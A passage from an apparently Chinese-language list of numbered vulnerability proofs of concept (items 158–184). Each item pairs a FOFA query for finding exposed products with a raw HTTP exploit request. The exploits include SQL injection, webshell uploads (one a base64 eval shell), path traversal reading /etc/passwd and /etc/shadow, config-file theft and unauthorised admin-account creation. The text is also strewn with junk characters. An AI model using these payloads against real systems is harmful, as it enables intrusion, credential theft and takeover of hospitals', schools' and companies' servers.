  G% g) P" z. \% {: L
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
- [  B) i# V6 v9 m* V6 w' @Content-Disposition: form-data; name="key"
9 w5 G2 @+ ]7 P% b
7 G2 y. q4 _9 {7 V: Tnull
------WebKitFormBoundary1imovELzPsfzp5dN
0 L2 q4 J, T- O  [! cContent-Disposition: form-data; name="form"
2 x: I3 W+ Q- Z4 B( U2 L
null
1 [+ p* ?! h' ?; Y3 y------WebKitFormBoundary1imovELzPsfzp5dN
! Q" s5 m3 E& Y5 BContent-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
$ n! y, m! A5 ?6 g6 Z8 M# S& `Content-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
, S+ `2 I0 U8 a! rContent-Disposition: form-data; name="filefolder"
+ d4 h0 m- Z  u) c3 B1 u  H- e# p
; t6 k$ @1 O3 f& F* ?null
------WebKitFormBoundary1imovELzPsfzp5dN--
& {9 U& H- `# c# l( R+ I; w
& h3 B5 W! f. `* P2 Q
, r7 c; L5 h; R% W- l6 ehttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

0 y/ v. X8 q0 i4 C. U+ b7 w9 j158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
+ j6 b- B& f+ S2 i" Y+ MPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
  H$ K  f8 d* Q) ~3 b* z" r
# [" Q' Z  W. k7 _& ~; kobject=displayregion&contenthistid=x\'&previewid=1
% d% c) K6 {& @
6 Y1 D7 e  `: h% U
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
( i6 h4 ?. Z6 ?9 }Host: x.x.x.x
! @* W+ d* Z4 [% ]* PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
# V" O: s( ~9 ?Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
: G' }/ c4 B# i, J0 Z6 nContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

; l/ z6 s& }+ g8 o<?xml version="1.0" encoding="utf-8"?>
2 N  ?9 H, ^" u# J; d/ y1 O' L, `+ R, I<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
& \5 e2 Z# k" H+ W<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
" A" i& u1 K0 g9 h! P<subFolder></subFolder>
& ^  e' P9 G  M( a( U: U5 L8 k<fileName>abcrce.asmx</fileName>
/ ]4 o- L* N4 K<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
; x5 @. k' M! F' _# e</jobUpload>
</soap:Body>
</soap:Envelope>


" l/ J3 G% o! _" E$ N/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
$ s: P5 u% m2 B
# c$ O" n: {; W0 K) `& R- \
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
4 V% i6 U9 P* B6 mFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
2 c! [/ y1 ^! Q: U# r6 VAccept: */*
7 f  Z" X' L, R$ w& d) x1 LAccept-Language: en
Accept-Encoding: gzip

: v, H& }0 Q. i( o) n' N
$ ~5 n! ~1 {/ R6 X& ^0 j  S161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
9 s# H* |' G) V$ hFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
, i3 t3 G  d7 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
+ Y# Y' {1 w* G' x3 ~1 `% OContent-Length: 445
' g- L9 V. n0 w9 s* f5 zContent-Type: text/xml
Accept-Encoding: gzip

7 r2 {# ?$ \) M/ j& P# W4 K. l! M* f<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
( i& `# Z2 g4 X* thttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
+ V) C+ D0 L1 Wxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
( s2 T. e$ ~) H) ]- x/ x+ n; k2 s$ G<soap:Body>
5 s& [. q3 V$ P8 U4 |<UploadResume xmlns="http://tempuri.org/">
- r4 a% W5 r' z$ B/ r- M! h+ v0 J<ip>1</ip>
! I  Z$ z' ^# S3 M+ l; W3 x<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
1 `9 e( E' v9 h" e9 ?5 o0 v2 m<tag>3</tag>
# l: K& L2 S% k, B2 V3 R/ k</UploadResume>
$ a/ p8 K- O5 K( O; ^</soap:Body>
</soap:Envelope>


3 {+ O( o. Y6 {2 C8 T- R6 ghttp://x.x.x.x/dizxdell.aspx
0 f, S0 U, Z, g! P4 p6 ^# X
+ h% i& l; n% C  X8 ~. _162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
$ T5 y5 i- G7 h! tFOFA: app="和丰山海-数字标牌"
# L8 B# l7 x5 k( ]  XPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
7 D5 Y) G/ N6 I& ]0 RAccept-Encoding: gzip

( ^1 H  v( i' o------WebKitFormBoundaryeegvclmyurlotuey
& z: D* M, c8 l, b7 g% \Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

/ A; J$ ^3 |; S. E3 ?: @% f<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
5 _0 x0 n  ^  k- b7 J& D# S3 z8 tContent-Disposition: form-data; name="action"
5 d* P3 Y) c6 L. a2 x" n
9 A. N- K6 l4 n5 {" r0 {8 Cupload
------WebKitFormBoundaryeegvclmyurlotuey
/ B' U, H5 `6 d0 K6 s- `Content-Disposition: form-data; name="responderId"

6 h( _) Q# ~+ b3 e: a, R1 Y, PResourceNewResponder
/ O. v* I2 M3 n7 |/ i------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

- _* `1 T5 _/ q* Y- B/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
& a; w2 t( s. r& `3 l

. A- S2 p4 ^' f  U$ jhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

5 I5 G% [( ]# ^: f# \163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
3 n7 ?  C+ q0 l- J% JFOFA: icon_hash="-795291075"
( P3 u6 s- q1 A+ _# z/ iPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
$ }; z' {) ?: U4 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
4 s8 [- X7 I" N+ ?* I9 JContent-Length: 293
Accept: */*
% O& E8 f  V# Q  X$ O* G9 m8 `2 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
4 m3 G  U' J9 X) R) m+ g/ H& t
6 _1 a% n  J/ H5 l* l# l* j------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
( e. a5 ?$ S, b! }% X6 u------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
% Y$ B1 c3 q; x. z* g------iiqvnofupvhdyrcoqyuujyetjvqgocod--
  P3 P; f: u9 u. w( N& p8 K

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
) C( x1 Z, V6 G7 [FOFA: title="智慧综合管理平台登入"
3 |& C2 {# q+ K1 s6 XPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
, P' r  i+ b: h; a/ o. EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
" h  ?0 L7 Y7 }" }: ~2 R6 i& T. jAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
, A+ v+ t" F% S0 k4 S+ q8 ^& DConnection: close
7 y! o1 Q9 f4 |* c8 O) i  iContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
+ [$ K) `( L/ U0 o% oX-Requested-With: XMLHttpRequest
0 v3 ^5 @" `4 ]- ~Accept-Encoding: gzip
' t3 s! S6 O, w+ ~, m) \; p
! z: p# N' B0 j2 j7 Z$ S------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

6 Y+ V  }1 \# z<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
' g1 n" l: Y( K( J1 t
( u& l5 U4 N( J/ J  g- v
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

3 _6 y( `+ R$ [4 D165. OrangeHRM 3.3.3 SQL 注入
; A5 F; V1 X+ z4 D4 T0 WCVE-2024-36428
FOFA: app="OrangeHRM-产品"
$ m0 b7 P: Y5 y. O2 a* i6 x8 JURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
& a* i9 R4 x# _$ r
+ v/ b# r4 {6 T- P2 @9 d
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
5 v0 a3 M+ ]% E; N* T) |Host:
* S8 K, \* R; {/ V& TPragma: no-cache
6 k; b9 q0 U. p9 M: c; `% xCache-Control: no-cache
4 x3 m# ]1 q; R2 Z) W: i# C+ uUpgrade-Insecure-Requests: 1
& n$ r% O; V8 uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- l3 u/ V9 @) X1 q: }. gAccept-Encoding: gzip, deflate
" u3 V# u- c  U6 J/ v0 YAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
/ L& b, d2 z: g  C0 `Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

; ~3 H  q& L6 m# J7 u& a  E
8 |3 g- G3 U& @) q167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
/ @" ?- _! H* y' {; C  m) rGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
2 J7 h8 X) s$ C" y4 DHost:
* K( i1 x& |# v& v( ]: ^+ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ P0 N: I/ ]4 G+ `- j  M; @0 fAccept-Encoding: gzip, deflate
Accept: */*
0 V/ u, D$ T7 SConnection: keep-alive
2 e6 B) V% V* h6 p- H% s  |/ P
& V. j+ }4 w2 ]( ?2 h2 Y
3 j4 J, [6 z- `1 j! Q168. 宏景EHR OutputCode 任意文件读取
8 r2 c6 f& w5 u- k- a, \FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
8 R' \8 A" E. A) f' kHost: your-ip
+ f2 P$ }8 @5 |4 S5 n. [5 [( d( nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
8 s, r; ?1 |3 j) \( u6 zContent-Type: application/x-www-form-urlencoded
Connection: close
: u  H2 l8 a* r) W
0 B! s0 d" c/ U7 p* p' ?! T; h4 y
: O7 x; v$ M- _( B( b7 [
169. 宏景EHR downlawbase SQL注入
1 ]4 _  p2 f7 _2 Y1 `FOFA：app="HJSOFT-HCM"
. h  j& P) O) qGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
+ L) b9 g  B5 {7 k, t' THost: your-ip
/ v- C# G# w# ^# _5 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
2 t7 v' n/ G9 n8 B% \: LAccept-Encoding: gzip, deflate
1 N) b8 ~' E! y+ p, bConnection: close
* F7 ^5 M9 O4 D5 x

$ u6 F3 n# k; O; [& x! S; K6 o
$ {7 d0 j% k; _8 F; C; e170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
* `8 z) {& r0 D8 v! a8 WPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
6 |: G: F5 A3 k; ]) kUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 K8 R* O: b* U- W, Q8 {: R
filename=../webapps/ROOT/WEB-INF/web.xml
* t* `  u+ z& a  a

171. 通天星CMSV6车载定位监控平台 SQL注入
& B* U9 M( P: x! w& G/ ]FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
8 Z7 D( W9 t5 D  a; QHost: your-ip
+ V. C$ R2 |# d3 J. D+ Y) U$ uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
  F* q2 k/ {$ \Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- M% w  l+ ?* m  Q8 _Accept-Encoding: gzip, deflate
0 F$ ?' `* U# L( Q; D: ~# f$ a& y3 ~Connection: close
/ U. u2 E" ^) L7 T. |

- X/ A2 h; g! ]) S/ b
- M6 w0 Q& F) H( t7 u: T/ E9 j172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
, k4 e' }9 d" w' P0 [' }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 k0 L: f( z4 H$ }- v4 W% ]7 v$ RAccept-Encoding: gzip, deflate
& [  `9 O+ _! q5 E* pAccept: */*
- U( D- C5 ]7 l% S$ H4 p# _Connection: keep-alive
5 W6 j5 s; {, c& T) i$ S9 o

, i3 ]- a6 I* O( R4 l8 a9 Z% S0 P
173. Check Point 安全网关任意文件读取
/ [" F2 f. c0 r) Y% d5 zCVE-2024-24919
7 V, M, [! J: v+ XFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
5 `+ X) a1 Z) VHost: your-ip
* ?$ E2 z/ J! Q9 w, N% {Content-Type: application/x-www-form-urlencoded

1 g! y$ D) p2 a# W: J" ?8 d" l1 Z( xaCSHELL/../../../../../../../etc/shadow
8 Z, `" m6 H7 W* u( v, D5 O# L1 s

2 }% X& z9 O" o5 |  R
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
0 p% r6 y& N$ GFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
8 A3 S) B3 s: C3 q- Z. P8 h0 l; oAccept-Language: zh-CN,zh;q=0.9
% `, p+ j) `9 w  O  W3 Q3 Q* XConnection: close
* H" f# i" P9 S' Y$ X2 v0 v7 w


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
  t4 X% G" a4 O3 k2 g! O# {Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 X+ b3 Y5 A8 \8 v3 z5 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 x) ]6 O. [' d$ NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
( U; \$ ^& a! ?* W8 ^Connection: close
6 }" N1 R$ M  N( |) h4 f+ ~( GUpgrade-Insecure-Requests: 1
3 c0 G6 J! D% u
* f0 A5 f2 X6 n4 D; H$ |0 S9 Y, y
. _# q% `, T$ y3 j# C2 f8 L: f176. 电信网关配置管理系统 rewrite.php 文件上传
, L  g2 K1 I( p; O" w# ?FOFA：body="img/login_bg3.png" && body="系统登录"
$ l5 Z/ W. K& K8 R2 L4 k! K4 lPOST /manager/teletext/material/rewrite.php HTTP/1.1
- L8 Z4 M; {! W8 P" x  |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
; N& @- v( G2 A- B& }Connection: close

------WebKitFormBoundaryOKldnDPT
& S6 `+ J7 K8 E+ G  _7 {* ^Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
( j/ J" K% w- [. ~
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
, P0 i7 G1 U+ ?3 z' u2 ]: ?; _, A

* ]9 v& ]* d, T------WebKitFormBoundaryOKldnDPT--
8 W0 d3 U7 O2 z
7 N7 {: q& M7 A, V7 ~& i
, r3 y& m+ O# T# A
( h: J! P1 ~  l* d2 d6 _177. H3C路由器敏感信息泄露
  K9 ?9 |( @7 M- P% R  \/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
# F0 ~+ a+ P* a: c2 }$ H/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
8 E( l! ~) p  I: _0 f/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
+ e0 y* ?0 j; J5 K4 \9 T& W/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
( w! S; @, u3 @' r/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
5 a/ z: P- Z6 t/ S1 m3 t  y/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
$ D$ A# }8 t7 Q0 O+ w  l; t0 ^% H/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
6 Y0 [. ]; c  i1 t/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
- Q& y* w% w* S/ L( _6 \/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
, L, f, E% A8 N$ v; XPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
4 m/ R$ V) Y& ^. S4 C5 X; h- wHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
0 X4 I8 ?, B% _+ W' H% e+ Q( IContent-Length: 252
Accept-Encoding: gzip, deflate
# O$ k+ R8 z3 G- cConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
: H0 ]  M, ]* bContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

12234
2 b& n7 `7 E0 l# q+ _3 h-----------------aqutkea7vvanpqy3rh2l--
0 i0 Z9 d& t9 S; L) N# f
( X/ F4 e/ W+ c1 }
GET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
3 n5 ~1 \; a3 t8 P* FPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
, T* C' z1 H/ D- K& D9 AContent-Type: application/x-www-form-urlencoded
6 E' g; C& D; q, {, a1 `7 iUser-Agent: Mozilla/5.0

path=../log4net.config&Name=
. h7 r% ]$ q2 p; p1 p
/ H: |) v! W) F$ N
180. 帮管客 CRM jiliyu SQL注入
7 F6 _$ w7 v% O  e0 t' o$ `+ |FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
, L# I: s+ Z+ Q5 X9 H( lHost: your-ip
; [% S$ T3 w; |6 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 y& g- M+ p5 n! R# Z+ q& MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 d" T4 X5 w$ P) _4 h" B& uAccept-Language: zh-CN,zh;q=0.9
8 R: v# E/ D* g" y2 W5 d' qConnection: close
: Y8 W! ^6 _1 ]& T  j0 X. P

) K; H" ?& T% U! e181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
6 b; F% l0 k+ p1 f3 E0 e1 J9 _Host: your-ip
) T5 Z0 P4 G; F- ~/ F3 h; E- c( _. s5 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
0 ?" M( y4 |; UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* o& R( d; _5 O2 N' yAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
3 ?' o+ ?+ o% k$ {  F3 QContent-Type: application/x-www-form-urlencoded

$ U* a% ?3 t$ o$ Z+ i
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
9 t8 h, k, |, O" c6 |+ m6 F* @

182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
# s7 |9 y" ~( G8 [) yFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
  h# V8 J2 `' {. w% UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 j& C  [  c6 ?7 ^3 Z( ZAccept-Encoding: gzip, deflate, br
! s8 D6 ~9 J% J# \* W+ }# VAccept-Language: zh-CN,zh;q=0.9
Connection: close
2 Y* ^1 H. f2 x4 Q; h/ U9 uContent-Type: application/x-www-form-urlencoded

- \4 p6 Z6 Q, G7 T- v: L3 [* D
3 u# x0 c+ _% b  o( Z. Susername=test1234&pwd=test1234&savedays=1


/ M4 ^5 w& B" o183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
- g4 i% C3 y' _! t; t2 dFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
9 F4 t/ B: ~* y. EGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
2 U6 _$ ?9 d5 h5 f  `Accept-Encoding: gzip, deflate
Connection: close

, C" y+ o3 J5 Q* g9 R6 W8 ~  i
, L- o  [4 t3 a# D) f0 o* u184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 S9 V2 Y: i. l! k" U; R& i# i% i7 bFOFA：server="SunFull-Webs"
+ r' ?. C! M% q6 B( {5 hPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
/ O5 [/ V5 t6 {% ]. g% c0 V8 s; GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! s' i. l0 n* ZX-Requested-With: XMLHttpRequest


, r! N' n+ v4 a$ ~6 ?+ v* M9 B, binsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
